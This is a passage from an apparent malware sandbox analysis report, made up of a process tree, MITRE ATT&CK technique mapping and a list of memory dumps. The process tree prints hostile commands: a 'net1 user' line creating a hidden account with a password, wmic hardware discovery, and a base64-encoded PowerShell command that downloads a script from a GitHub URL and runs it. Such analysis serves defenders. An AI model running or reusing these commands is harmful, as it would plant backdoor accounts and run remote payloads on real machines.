- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc yJqM5jd9
    3⤵
    PID:2312

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3880

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2252
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3480

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2800
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/528-120-0x0000025DFB2F6000-0x0000025DFB2F7000-memory.dmp

Filesize
4KB

Download
memory/528-117-0x0000025DFB2F0000-0x0000025DFB2F2000-memory.dmp

Filesize
8KB

Download
memory/528-114-0x0000000001170000-0x0000000001D5E000-memory.dmp

Filesize
11.9MB

Download
memory/528-115-0x0000025DFBD50000-0x0000025DFBFFA000-memory.dmp

Filesize
2.7MB

Download
memory/528-119-0x0000025DFB2F5000-0x0000025DFB2F6000-memory.dmp

Filesize
4KB

Download
memory/528-118-0x0000025DFB2F3000-0x0000025DFB2F5000-memory.dmp

Filesize
8KB

Download
memory/2312-244-0x00000273B7F38000-0x00000273B7F39000-memory.dmp

Filesize
4KB

Download
memory/2312-242-0x00000273B7F33000-0x00000273B7F35000-memory.dmp

Filesize
8KB

Download
memory/2312-241-0x00000273B7F30000-0x00000273B7F32000-memory.dmp

Filesize
8KB

Download
memory/2312-243-0x00000273B7F36000-0x00000273B7F38000-memory.dmp

Filesize
8KB

Download
memory/3196-207-0x000001E572BA0000-0x000001E572BA2000-memory.dmp

Filesize
8KB

Download
memory/3196-209-0x000001E572BA6000-0x000001E572BA8000-memory.dmp

Filesize
8KB

Download
memory/3196-208-0x000001E572BA3000-0x000001E572BA5000-memory.dmp

Filesize
8KB

Download
memory/3884-205-0x000001E9B3856000-0x000001E9B3858000-memory.dmp

Filesize
8KB

Download
memory/3884-206-0x000001E9B3858000-0x000001E9B385A000-memory.dmp

Filesize
8KB

Download
memory/3884-203-0x000001E9B3853000-0x000001E9B3855000-memory.dmp

Filesize
8KB

Download
memory/3884-202-0x000001E9B3850000-0x000001E9B3852000-memory.dmp

Filesize
8KB

Download
memory/3920-152-0x00000237FB800000-0x00000237FB801000-memory.dmp

Filesize
4KB

Download
memory/3920-153-0x00000237FBB90000-0x00000237FBB91000-memory.dmp

Filesize
4KB

Download
memory/3920-145-0x00000237FAF80000-0x00000237FAF81000-memory.dmp

Filesize
4KB

Download
memory/3920-149-0x00000237FAF98000-0x00000237FAF99000-memory.dmp

Filesize
4KB

Download
memory/3920-126-0x00000237FAF10000-0x00000237FAF11000-memory.dmp

Filesize
4KB

Download
memory/3920-130-0x00000237FAF90000-0x00000237FAF92000-memory.dmp

Filesize
8KB

Download
memory/3920-132-0x00000237FAF93000-0x00000237FAF95000-memory.dmp

Filesize
8KB

Download
memory/3920-140-0x00000237FAF96000-0x00000237FAF98000-memory.dmp

Filesize
8KB

Download
memory/3920-129-0x00000237FB220000-0x00000237FB221000-memory.dmp

Filesize
4KB

Download
memory/3992-201-0x000001DE01F18000-0x000001DE01F1A000-memory.dmp

Filesize
8KB

Download
memory/3992-168-0x000001DE01F10000-0x000001DE01F12000-memory.dmp

Filesize
8KB

Download
memory/3992-169-0x000001DE01F13000-0x000001DE01F15000-memory.dmp

Filesize
8KB

Download
memory/3992-193-0x000001DE01F16000-0x000001DE01F18000-memory.dmp

Filesize
8KB

Download